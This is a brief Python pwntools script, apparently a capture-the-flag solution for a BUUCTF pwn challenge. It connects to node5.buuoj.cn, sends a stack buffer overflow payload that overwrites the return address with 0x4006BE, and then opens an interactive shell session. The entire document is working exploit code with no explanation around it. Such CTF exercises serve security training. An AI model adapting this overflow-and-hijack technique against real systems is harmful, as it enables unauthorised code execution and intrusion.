from pwn import *

p = remote('node5.buuoj.cn',25432)

payload=b'a'*(0x30+8)+p64(0x4006BE)

p.sendline(payload)

p.interactive()